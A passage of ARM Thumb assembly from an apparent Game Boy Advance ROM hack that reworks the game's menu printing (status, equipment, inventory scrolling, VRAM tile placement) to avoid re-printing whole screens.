sub r0,r0,r1 cmp r0,#2 ble + mov r0,#2 + lsl r2,r0,#0x10 //base code lsr r4,r2,#0x10 mov r9,r4 lsl r1,r1,#2 ldr r4,=#0x3DBC add r0,r3,r4 add r5,r1,r0 mov r7,#0xF mov r6,#0 lsr r0,r2,#0x11 cmp r6,r0 bcs + mov r8,r0 //Set the thing to print the bottom two items at the right position ldrb r1,[r5,#0] mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C add r5,#4 ldrb r1,[r5,#0] mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#0xA bl .get_inventory_height mov r3,#0x16 bl $8047B9C mov r0,#0 mov r1,#0 mov r2,#1 bl $8047D90 + mov r0,#1 mov r1,r9 and r0,r1 cmp r0,#0 beq + ldrb r1,[r5,#0] //Set the thing to print the bottom item at the right position mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#0x1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C + add sp,#4 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the withdrawing will print, based off of 0x8047900 //============================================================================================= .new_withdrawing_a_print: push {r4-r7,lr} mov r7,r9 mov r6,r8 push {r6,r7} add sp,#-4 //base code mov r1,r0 ldr r3,=#0x2016028 ldr r0,=#0x4282 add r2,r3,r0 ldrh r0,[r2,#0] ldrh r1,[r1,#8] add r1,#0xF sub r0,r0,r1 cmp r0,#1 ble + mov r0,#1 + lsl r2,r0,#0x10 //base code lsr r4,r2,#0x10 mov r9,r4 lsl r1,r1,#2 ldr r4,=#0x3DBC add r0,r3,r4 add r5,r1,r0 mov r7,#0xF mov r0,#1 mov r1,r9 and r0,r1 cmp r0,#0 beq + ldrb r1,[r5,#0] //Set the thing to print the bottom item at the right position mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#0xA mov r2,#0x9 mov r3,#0x16 bl $8047B9C mov r0,#0 mov r1,#0 mov r2,#1 bl $8047D90 + add sp,#4 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the status menu will print, based off of 0x80472BC //============================================================================================= .new_status_print: push {r4-r7,lr} add sp,#-4 //base code ldrh r0,[r0,#0xA] bl $8054FE0 //Get character's address mov r5,r0 bl .delete_vram_status cmp r0,#0 //Can this character's data be shown? beq + b .new_status_print_end + mov r4,#0 mov r7,r5 add r7,#0x34 //Go pick up the character's equipment mov r6,#0xF - add r1,r7,r4 //Get Xth item ldrb r0,[r1,#0] cmp r0,#0 bne .new_status_print_item //Is an item equipped? mov r0,#2 bl $80486A0 //If not, order printing "-----" add r2,r4,#5 str r6,[sp,#0] mov r1,#0xC mov r3,#1 neg r3,r3 bl $8047B9C //Order its printing b + .new_status_print_item: ldrb r1,[r1,#0] //Load the item that has to be printed mov r0,#2 bl $8001C5C //Load its address add r2,r4,#5 str r6,[sp,#0] mov r1,#0xC mov r3,#0x16 bl $8047B9C //Order its printing + add r4,#1 cmp r4,#3 //Cycle the equipment in its entirety bls - mov r0,r5 bl $8047B0C //Print Skill ldr r0,=#0x20169FA //Has the gray text been printed? ldrh r0,[r0,#0] cmp r0,#0 beq + b .new_status_print_end + mov r0,#0x47 //If it hasn't, reprint it bl $80486A0 //Level text, get the pointer to it mov r5,#1 neg r5,r5 mov r4,#1 str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#3 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x48 //Offense text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#4 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x49 //Defense text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#5 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4A //IQ text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#6 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4B //Speed text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#7 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4C //EXP text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#8 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4D //Next Level text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#9 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4E //HP text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#9 mov r2,#3 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x50 //PP text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#9 mov r2,#4 mov r3,r5 bl improve_performances_menus.status_vram_equip_descriptors //Load OAM entries in VRAM .new_status_print_end: add sp,#4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the equipment menu will print, based off of 0x80470A8 //============================================================================================= .new_equip_print: push {r4-r6,lr} add sp,#-4 //base code ldrh r0,[r0,#0xA] bl $8054FE0 //Get character's address mov r5,r0 bl .delete_vram_equip cmp r0,#0 //Can this character's data be shown? beq + b .new_equip_print_end + mov r4,#0 mov r6,r5 add r6,#0x34 //Go pick up the character's equipment mov r5,#0xF - add r1,r6,r4 //Get Xth item ldrb r0,[r1,#0] cmp r0,#0 bne .new_equip_print_item //Is an item equipped? mov r0,#2 bl $80486A0 //If not, order printing "-----" lsl r2,r4,#0x11 mov r1,#0xC0 lsl r1,r1,#0xA add r2,r2,r1 lsr r2,r2,#0x10 str r5,[sp,#0] mov r1,#0xC mov r3,#1 neg r3,r3 bl $8047B9C //Order its printing b + .new_equip_print_item: ldrb r1,[r1,#0] //Load the item that has to be printed mov r0,#2 bl $8001C5C //Load its address lsl r2,r4,#0x11 mov r1,#0xC0 lsl r1,r1,#0xA add r2,r2,r1 lsr r2,r2,#0x10 str r5,[sp,#0] mov r1,#0xC mov r3,#0x16 bl $8047B9C //Order its printing + add r4,#1 cmp r4,#3 //Cycle the equipment in its entirety bls - ldr r0,=#0x20169FA //Has the gray text been printed? ldrh r0,[r0,#0] cmp r0,#0 beq + b .new_equip_print_end + //If it hasn't, reprint it bl improve_performances_menus.equipment_vram_equip_descriptors //Load OAM entries in VRAM mov r0,#0x47 //Level text bl $80486A0 //Get the pointer to it mov r5,#1 neg r5,r5 mov r4,#1 str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#3 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4F //Max HP text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#4 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x51 //Max PP text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#5 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x48 //Offense text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#6 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x49 //Defense text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#7 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4A //IQ text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#8 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4B //Speed text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#9 mov r3,r5 bl $8047B9C //Order its printing .new_equip_print_end: add sp,#4 pop {r4-r6,pc} //============================================================================================= // This hack changes what the main inventory scrolling will print, based off of 0x8046EF0 //============================================================================================= .new_main_inventory_scroll_print: push {r4-r7,lr} mov r7,r9 mov r6,r8 push {r6,r7} add sp,#-4 //base code mov r3,r0 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r1,r2,r0 ldrh r0,[r3,#0xA] ldrh r1,[r1,#0] //is this the key items inventory? cmp r0,r1 bcc .new_main_inventory_scroll_print_end mov r0,r3 bl .new_key_inventory_scroll_print .new_main_inventory_scroll_print_end: add sp,#4 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7,pc} //============================================================================================= // This hack changes what scrolling in the key items inventory will print, based off of 0x8046FD8 //============================================================================================= .new_key_inventory_scroll_print: push {r4-r7,lr} mov r7,r9 mov r6,r8 push {r6,r7} add sp,#-4 //base code mov r1,r0 ldr r3,=#0x2016028 bl .get_direction cmp r0,#0 bne .new_key_inventory_scroll_print_descending_items mov r0,#2 //If we're scrolling up, there will be two items for sure. No need to edit r1 either. ldrh r1,[r1,#8] b + .new_key_inventory_scroll_print_descending_items: ldr r0,=#0x426A add r2,r3,r0 ldrh r0,[r2,#0] ldrh r1,[r1,#8] add r1,#0xE //Only if we're descending! sub r0,r0,r1 cmp r0,#2 ble + mov r0,#2 + lsl r2,r0,#0x10 lsr r4,r2,#0x10 mov r9,r4 lsl r1,r1,#2 mov r4,#0xC2 lsl r4,r4,#6 add r0,r3,r4 add r5,r1,r0 mov r6,#0 lsr r0,r2,#0x11 cmp r6,r0 bcs + mov r7,#0xF //Set the thing to print the bottom two items at the right position ldrb r1,[r5,#0] mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C add r5,#0x4 ldrb r1,[r5,#0] mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#0xB bl .get_inventory_height mov r3,#0x16 bl $8047B9C + mov r0,#1 mov r1,r9 and r0,r1 cmp r0,#0 beq .new_key_inventory_scroll_print_end mov r7,#0xF //Set the thing to print the bottom item at the right position ldrb r1,[r5,#0] mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C .new_key_inventory_scroll_print_end: add sp,#4 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7,pc} //============================================================================================= // This hack gets the scrolling direction for any given menu //============================================================================================= .get_direction: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 mov r2,#1 ldrh r0,[r1,#0xA] ldrh r1,[r1,#0xE] lsr r0,r0,#1 lsr r1,r1,#1 cmp r0,r1 bne + mov r2,#0 //Going up if they're the same! Otherwise, going down! + mov r0,r2 pop {r1-r2,pc} //============================================================================================= // This hack gets the scrolling direction for any given submenu //============================================================================================= .get_direction_submenu: push {r1-r2,lr} ldr r1,=#0x2016028 ldr r2,=#0x3060 add r1,r1,r2 //Get submenu info array in RAM ldrh r0,[r1,#0x4] ldrh r1,[r1,#0x8] lsr r0,r0,#1 lsr r1,r1,#1 mov r2,#1 cmp r0,r1 bne + mov r2,#0 //Going up if they're the same! Otherwise, going down! + mov r0,r2 pop {r1-r2,pc} //============================================================================================= // This hack gets the index of the top item for any given menu //============================================================================================= .get_top_index: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0xE] pop {r1-r2,pc} //============================================================================================= // This hack gets the number of items in any given menu //============================================================================================= .get_total_indexes: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0x8] pop {r1-r2,pc} //============================================================================================= // This hack gets the number of items in a character's inventory //============================================================================================= .get_character_inventory_total_indexes: push {r1,lr} ldr r0,=#0x2016028 ldr r1,=#0x426C add r0,r0,r1 ldrh r0,[r0,#0] pop {r1,pc} //============================================================================================= // This hack gets the number of show-able items in any given menu //============================================================================================= .get_possible_indexes: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0xC] pop {r1-r2,pc} //============================================================================================= // This hack gets the index of the currently selected item for any given menu //============================================================================================= .get_selected_index: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0xA] pop {r1-r2,pc} //============================================================================================= // This hack sets the index of the currently selected item to a specific value. // It returns in r0 the previous selected item value //============================================================================================= .set_selected_index: push {r1-r3,lr} mov r3,r0 ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0xA] strh r3,[r1,#0xA] pop {r1-r3,pc} //============================================================================================= // This hack gets the difference between the top index and the total amount of items //============================================================================================= .get_difference_top_total: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0xE] //Top index ldrh r1,[r1,#0x8] //Total items sub r0,r1,r0 //Total items - Top index pop {r1-r2,pc} //============================================================================================= // This hack gets the height for printing in the inventory/withdrawing menu //============================================================================================= .get_inventory_height: push {r0,lr} bl .get_direction cmp r0,#0 bne .get_inventory_height_descending mov r2,#0x2 b .get_inventory_height_end .get_inventory_height_descending: mov r2,#0x9 .get_inventory_height_end: pop {r0,pc} //============================================================================================= // This hack gets the height for printing in the equip submenu //============================================================================================= .get_equip_submenu_height: push {r0,lr} bl .get_direction_submenu cmp r0,#0 bne .get_equip_submenu_height_descending mov r2,#0x2 b .get_equip_submenu_height_end .get_equip_submenu_height_descending: mov r2,#0x9 .get_equip_submenu_height_end: pop {r0,pc} //============================================================================================= // This hack gets the height for printing in the battle memoes menu //============================================================================================= .get_battle_memoes_height: push {r0,lr} bl .get_direction cmp r0,#0 beq + mov r0,#8 sub r0,r0,r6 add r2,r2,r0 + pop {r0,pc} //============================================================================================= // This hack gets the height for printing in the memoes menu //============================================================================================= .get_memoes_height: push {r0,lr} bl .get_direction cmp r0,#0 bne .get_memoes_height_descending mov r2,#0x3 b .get_memoes_height_end .get_memoes_height_descending: mov r2,#0x9 .get_memoes_height_end: pop {r0,pc} //============================================================================================= // This hack gets the height for printing in the shop menu //============================================================================================= .get_shop_height: push {r0,lr} bl .get_direction cmp r0,#0 bne .get_shop_height_descending mov r2,#0x2 b .get_shop_height_end .get_shop_height_descending: mov r2,#0x7 .get_shop_height_end: pop {r0,pc} //============================================================================================= // This hack gets the color for the psi when printing in the psi menu. r0 is the input value //============================================================================================= .get_psi_usable: lsl r0,r0,#0xA cmp r0,#0 bge .psi_not_usable mov r0,#0xF b + .psi_not_usable: mov r0,#1 + bx lr //============================================================================================= // This hack is called in order to change where everything is printed in VRAM. Based on 0x80487D4 //============================================================================================= .new_print_vram_container: push {r4,r5,lr} add sp,#-4 str r0,[sp,#0] ldr r4,=#0x201AEF8 //We avoid printing OAM entries... ldr r0,=#0x76DC //Base code add r5,r4,r0 ldrb r1,[r5,#0] mov r0,#8 and r0,r1 cmp r0,#0 beq + mov r0,r4 bl $8048878 mov r0,r4 bl $80489F8 mov r0,r4 bl $8048C5C + bl .load_remaining_strings_external ldr r3,=#0x76D6 add r0,r4,r3 mov r2,#0 strb r1,[r0,#0] add r3,#1 add r0,r4,r3 strb r2,[r0,#0] lsl r1,r1,#0x18 cmp r1,#0 beq + mov r0,r4 ldr r1,[sp,#0] bl .print_vram //New code! + ldr r1,=#0x6C28 add r0,r4,r1 ldr r0,[r0,#0] ldrb r1,[r0,#0x11] cmp r1,#0 bne + ldr r2,=#0x3004B00 ldrh r0,[r2,#0] cmp r0,#0 beq + ldr r3,=#0xFFFFF390 add r0,r4,r3 ldrb r0,[r0,#0] cmp r0,#0 blt + cmp r0,#2 ble .new_print_vram_container_inner cmp r0,#4 bne + .new_print_vram_container_inner: strh r1,[r2,#0] + add sp,#4 pop {r4,r5,pc} //============================================================================================= // This hack moves the graphics for the Equip menu and the Status menu. // It also makes the arrangements point to them //============================================================================================= .new_graphics_arrangements_movement_table: dd $01A40204; dd $02A40105 .new_move_graphics_arrangements: push {r4-r7,lr} ldr r0,=#0x201A288 ldrb r0,[r0,#0] lsr r0,r0,#1 lsl r0,r0,#2 ldr r1,=#.new_graphics_arrangements_movement_table add r6,r1,r0 //Load how to move stuff, based upon the menu ldr r7,=#0x600E800 ldrh r1,[r6,#2] add r7,r7,r1 //Where to start mov r5,#0 //Current entry .new_move_graphics_arrangements_loop: mov r4,#0 //Number of tiles to move mov r1,r7 ldrh r3,[r1,#0] //Save starting tile - ldrh r0,[r1,#0] //Get how many tiles need to be moved cmp r0,#0 beq + add r4,#1 add r1,#2 b - + cmp r4,#0 //If nothing to copy, skip! beq + lsr r2,r5,#1 //Get where to put the graphics lsl r2,r2,#11 mov r1,#1 and r1,r5 lsl r1,r1,#9 add r2,r2,r1 add r2,#0x20 push {r5-r7} lsr r7,r2,#5 //Save starting tile number lsl r0,r3,#5 //Get actual address ldr r1,=#0x6008000 //Graphics start add r0,r1,r0 //Source add r1,r1,r2 //Target mov r5,r0 mov r6,r1 lsl r2,r4,#3 //Number of words to copy swi #0xC mov r0,r5 mov r1,r6 mov r2,#4 lsl r2,r2,#8 add r0,r0,r2 //Copy the bottom as well add r1,r1,r2 lsl r2,r4,#3 //Number of words to copy swi #0xC mov r0,r7 //New starting tile number mov r1,r7 add r1,#0x20 //New bottom starting tile number pop {r5-r7} mov r2,r7 //Replace arrangements mov r3,r7 add r3,#0x40 - strh r0,[r2,#0] strh r1,[r3,#0] add r0,#1 add r1,#1 add r2,#2 add r3,#2 sub r4,#1 cmp r4,#0 bne - + ldrb r1,[r6,#0] //Number of entries ldrb r2,[r6,#1] lsl r2,r2,#7 add r7,r7,r2 //How much to add to the base arrangements add r5,#1 cmp r5,r1 bne .new_move_graphics_arrangements_loop pop {r4-r7,pc} //============================================================================================= // This hack gets the selected character's number. //============================================================================================= .new_get_menu_character_number: push {r1-r3,lr} mov r2,r0 ldr r1,=#0x2016028 mov r0,#0xB8 lsl r0,r0,#6 add r0,r0,r1 lsl r1,r2,#5 add r0,r0,r1 ldrh r0,[r0,#0xA] bl $8054FE0 ldrb r0,[r0,#0] pop {r1-r3,pc} //============================================================================================= // This hack changes the target vram address to whatever we want it to be. // It uses the values found by new_get_empty_tiles //============================================================================================= .new_get_address: ldr r1,[sp,#0x20+0x24] cmp r0,r1 //If we're after a certain threshold (which depends on the menu), use the second address blt + ldr r1,[sp,#0x20+0x1C] b .new_get_address_keep_going + ldr r1,[sp,#0x20+0x20] .new_get_address_keep_going: lsl r0,r0,#0x10 lsr r0,r0,#0xB add r0,r0,r1 bx lr //============================================================================================= // This hack gets the tiles which will be empty //============================================================================================= //Table that dictates which menus are valid to read the empty buffer tiles of .new_get_empty_tiles_valid: dw $8CB7; dw $0000 //Table which dictates the limit value of a menu used to change the valid buffer tiles to the second ones .new_get_empty_tiles_limit_values: db $10; db $12; db $0F; db $FF; db $0F; db $10; db $FF; db $10 db $FF; db $FF; db $0D; db $0F; db $FF; db $FF; db $FF; db $0F db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF //Table that indicates which menus only use one line to the right instead of one to the left (safe) or two .new_get_empty_tiles_types: dw $80B7; dw $0000 .new_get_empty_tiles: push {r4-r6,lr} add sp,#-4 ldr r0,=#0x2016078 mov r1,#1 mov r2,#0 mov r3,#0 bl $8001378 ldr r1,=#0x201A288 ldr r3,=#.new_get_empty_tiles_valid ldrh r2,[r3,#2] ldrh r3,[r3,#0] lsl r2,r2,#0x10 orr r3,r2 ldrb r2,[r1,#0] mov r1,#1 lsl r1,r2 and r1,r3 cmp r1,#0 bne + ldr r6,=#0x6008000 mov r0,r6 mov r1,r6 b .end_new_get_empty_tiles + mov r3,r0 add r3,#0x82 ldr r4,=#.new_get_empty_tiles_types //Determine if this is a right single column menu or not ldrh r0,[r4,#2] ldrh r4,[r4,#0] lsl r0,r0,#0x10 orr r4,r0 mov r0,#1 lsl r0,r2 and r0,r4 cmp r0,#0 beq + ldr r4,=#0xFFF00003 //Bitmap for occupied/not occupied zone when double columned b .new_get_empty_tiles_gotten_type + ldr r4,=#0xFFF55557 //Bitmap for occupied/not occupied zone when single columned right .new_get_empty_tiles_gotten_type: mov r5,#0 ldr r6,=#.new_get_empty_tiles_limit_values add r6,r6,r2 ldrb r6,[r6,#0] cmp r2,#4 bne + mov r0,r2 bl .new_get_menu_character_number //All characters in skills besides the PSI users use 0x10 as a base cmp r0,#2 beq + cmp r0,#4 beq + add r6,#1 + str r6,[sp,#0] lsl r6,r6,#1 sub r6,#2 - add r3,#0x80 ldrh r0,[r3,#0] lsr r2,r0,#5 lsl r1,r2,#5 sub r1,r0,r1 mov r0,r2 ldr r2,[sp,#0] cmp r1,r2 blt + mov r1,#1 orr r0,r1 + mov r1,#1 lsl r1,r0 orr r4,r1 //Set the zone to occupied ldsh r0,[r3,r6] lsr r2,r0,#5 lsl r1,r2,#5 sub r1,r0,r1 mov r0,r2 ldr r2,[sp,#0] cmp r1,r2 blt + mov r1,#1 orr r0,r1 + mov r1,#1 lsl r1,r0 orr r4,r1 //Set the zone to occupied add r5,#1 cmp r5,#8 blt - mov r5,#0 //Now get the free zones mov r3,#0 mov r2,#0 mov r1,#0 - mov r0,#1 lsl r0,r5 and r0,r4 cmp r0,#0 bne + mov r2,r3 mov r3,r5 add r1,#1 + add r5,#1 cmp r5,#0x20 bge + cmp r1,#2 blt - + // r2 and r3 have our numbers ldr r6,=#0x6008000 ldr r1,[sp,#0] mov r5,#1 and r5,r2 sub r2,r2,r5 lsl r2,r2,#5 cmp r5,#1 bne + orr r2,r1 + lsl r2,r2,#5 add r0,r2,r6 mov r5,#1 and r5,r3 sub r3,r3,r5 lsl r3,r3,#5 cmp r5,#1 bne + orr r3,r1 + lsl r3,r3,#5 add r1,r3,r6 ldr r2,=#0x201A288 ldrb r3,[r2,#0] ldr r4,=#.new_get_empty_tiles_limit_values ldrb r2,[r4,r3] cmp r3,#4 bne + mov r4,r0 mov r0,r3 bl .new_get_menu_character_number //All characters in skills besides the PSI users use 0x10 as a base mov r3,r0 mov r0,r4 cmp r3,#2 beq + cmp r3,#4 beq + add r2,#1 + lsl r3,r2,#5 sub r1,r1,r3 .end_new_get_empty_tiles: add sp,#4 pop {r4-r6,pc} //============================================================================================= // This hack negates VRAM printing for a frame //============================================================================================= .negate_printing: ldr r0,=#0x20225D4 //Don't print this frame ldrb r1,[r0,#0] mov r2,#9 neg r2,r2 and r1,r2 strb r1,[r0,#0] bx lr //============================================================================================= // This hack combines all the hacks above. // It moves the arrangements around instead of re-printing everything. // It only prints what needs to be printed. //============================================================================================= .up_down_scrolling_print: push {lr} add sp,#-0xC bl .new_get_empty_tiles str r2,[sp,#8] str r0,[sp,#4] str r1,[sp,#0] bl .new_print_menu_up_down ldr r4,=#0x201AEF8 mov r0,r4 bl $803E908 - mov r0,#1 bl .new_print_vram_container mov r0,r4 bl $803E908 ldr r0,=#0x2013040 //Check for two names with a total of 41+ letters on the same line. ldrb r1,[r0,#2] //Max item name size is 21, so it's possible, but unlikely. ldrb r2,[r0,#3] //At maximum 2 letters must be printed, so it's fast. cmp r1,r2 //Can happen with (pickled veggie plate or jar of yummy pickles or saggittarius bracelet bne - //or mole cricket brother) + bag of big city fries on the same line. add sp,#0xC pop {pc} //============================================================================================= // This hack combines all the hacks above. // It moves the arrangements and the graphics around, then allows re-printing. // It only prints what needs to be printed. //============================================================================================= .move_and_print: push {lr} bl .new_print_menu_up_down pop {pc} //============================================================================================= // This hack combines all the hacks above. // It moves the arrangements around instead of re-printing everything. // It only prints what needs to be printed. // This version takes pre-established free tiles instead of determining them on the fly //============================================================================================= .up_down_scrolling_print_no_get_empty_tiles: push {lr} add sp,#-0xC str r2,[sp,#8] str r0,[sp,#4] str r1,[sp,#0] bl .new_print_menu_up_down ldr r4,=#0x201AEF8 mov r0,r4 bl $803E908 - mov r0,#1 bl .new_print_vram_container mov r0,r4 bl $803E908 ldr r0,=#0x2013040 //Check for two names with a total of 41+ letters on the same line. ldrb r1,[r0,#2] //Max item name size is 21, so it's possible, but unlikely. ldrb r2,[r0,#3] //At maximum 2 letters must be printed, so it's fast. cmp r1,r2 //Can happen with (pickled veggie plate or jar of yummy pickles or saggittarius bracelet bne - //or mole cricket brother) + bag of big city fries on the same line. add sp,#0xC pop {pc} //============================================================================================= // This hack combines all the hacks above. // It moves the arrangements around instead of re-printing everything. // It only prints what needs to be printed. // This version takes pre-established free tiles instead of determining them on the fly //============================================================================================= .pressing_a_scrolling_print_no_get_empty_tiles: push {lr} add sp,#-0xC str r2,[sp,#8] str r0,[sp,#4] str r1,[sp,#0] bl .new_print_menu_a ldr r4,=#0x201AEF8 mov r0,r4 bl $803E908 - mov r0,#1 bl .new_print_vram_container mov r0,r4 bl $803E908 ldr r0,=#0x2013040 //Check for two names with a total of 41+ letters on the same line. ldrb r1,[r0,#2] //Max item name size is 21, so it's possible, but unlikely. ldrb r2,[r0,#3] //At maximum 2 letters must be printed, so it's fast. cmp r1,r2 //Can happen with (pickled veggie plate or jar of yummy pickles or saggittarius bracelet bne - //or mole cricket brother) + bag of big city fries on the same line. add sp,#0xC pop {pc} //============================================================================================= // This hack swaps the arrangements in order to not re-print everything when removing/moving an item //============================================================================================= .new_generic_swap_arrangement: push {r3-r6,lr} mov r4,r0 //This has the selected index before anything was removed/moved. //Using that covers the player selecting the last item and getting //their cursor moved ldr r5,=#0x2016978 bl .get_positions_lines_array mov r6,r0 bl .get_possible_indexes sub r3,r0,#1 cmp r4,r3 //Cover edge case bge + - mov r0,r4 //Swap a single item's arrangement bl .new_handle_selling_swap_arrangement bl .new_general_swap_single_line add r4,#1 cmp r4,r3 blt - + mov r0,r3 bl .new_handle_selling_swap_arrangement bl .new_general_clear_final_line //Clear the last item's arrangement pop {r3-r6,pc} //============================================================================================= // This hack copies an item's arrangements in order to not re-print everything when moving an item //============================================================================================= .new_generic_copy_arrangement: push {r4-r7,lr} mov r4,r0 //This has the selected index before anything was removed/moved. //Using that covers the player selecting the last item and getting //their cursor moved mov r3,r1 //Put in r3 whether to copy from or to the item's arrangement mov r7,r2 //Put in r7 the target ldr r5,=#0x2016978 bl .get_positions_lines_array mov r6,r0 mov r0,r4 //Copies a single item's arrangements from/to r7 mov r1,r3 mov r2,r7 bl .new_general_copy_single_line pop {r4-r7,pc} //============================================================================================= // This hack handles the selling special case //============================================================================================= .new_handle_selling_swap_arrangement: push {lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] cmp r1,#0xB bne + lsl r0,r0,#1 add r0,#1 + pop {pc} //============================================================================================= // This hack swaps the deposit arrangements in order to not re-print everything when depositing an item. // It also handles the inventory arrangements swapping //============================================================================================= .new_inventory_deposit_swap_arrangement: push {lr} ldr r0,[r0,#0x8] bl .new_generic_swap_arrangement pop {pc} //============================================================================================= // This hack copies one line of inventory's arrangements in order to not re-print everything when moving an item. //============================================================================================= .new_inventory_copy_arrangement: push {lr} ldr r0,[r0,#0x8] bl .new_generic_copy_arrangement pop {pc} //============================================================================================= // This hack swaps the withdraw arrangements in order to not re-print everything when withdrawing an item //============================================================================================= .new_withdraw_swap_arrangement: push {lr} ldr r1,[r0,#4] ldr r0,[r0,#8] sub r0,r0,r1 bl .new_generic_swap_arrangement pop {pc} //============================================================================================= // Hack that stores the flag that puts the arrangement buffer back to VRAM //============================================================================================= .store_arrangements_buffer: push {r0-r5,lr} mov r0,#0x0 //Order printing a blank tile bl $80486A0 //Blank text, get the pointer to it mov r5,#1 neg r5,r5 mov r4,#1 str r4,[sp,#0] //Gray text mov r1,#0 mov r2,#0 mov r3,r5 bl $8047B9C //Order its printing ldr r4,=#0x201AEF8 mov r0,r4 bl $803E908 //Print this to VRAM now! bl $80487D4 mov r0,r4 bl $803E908 pop {r0-r5,pc} //============================================================================================= // Gets the array of the positions for swapping // Order (reversed) is: // Right side's position | Left side's position | Distance between right and lower left | Size //============================================================================================= .positions_swapping_array: dd $10620220; dd $00000000; dd $00000000; dd $00000000 dd $00000000; dd $00000000; dd $00000000; dd $00000000 dd $00000000; dd $00000000; dd $00000000; dd $1080001E dd $00000000; dd $00000000; dd $10620220; dd $0E64021E dd $00000000; dd $00000000; dd $00000000; dd $00000000 dd $00000000; dd $00000000; dd $00000000; dd $00000000 dd $00000000; dd $00000000; dd $00000000; dd $00000000 dd $00000000; dd $00000000; dd $00000000; dd $00000000 .get_positions_lines_array: ldr r1,=#.positions_swapping_array ldr r0,=#0x201A288 ldrb r0,[r0,#0] lsl r0,r0,#2 add r0,r1,r0 bx lr //============================================================================================= // Swaps a single item's arrangement //============================================================================================= .new_general_swap_single_line: push {r3-r4,lr} mov r2,#1 and r2,r0 lsr r0,r0,#1 lsl r0,r0,#7 cmp r2,#0 beq + ldrb r2,[r6,#0] + add r1,r5,r0 add r1,r1,r2 //Get the arrangement address mov r4,r1 cmp r2,#0 bne + ldrb r2,[r6,#0] add r0,r4,r2 //Branch for an item to the left ldrb r2,[r6,#1] add 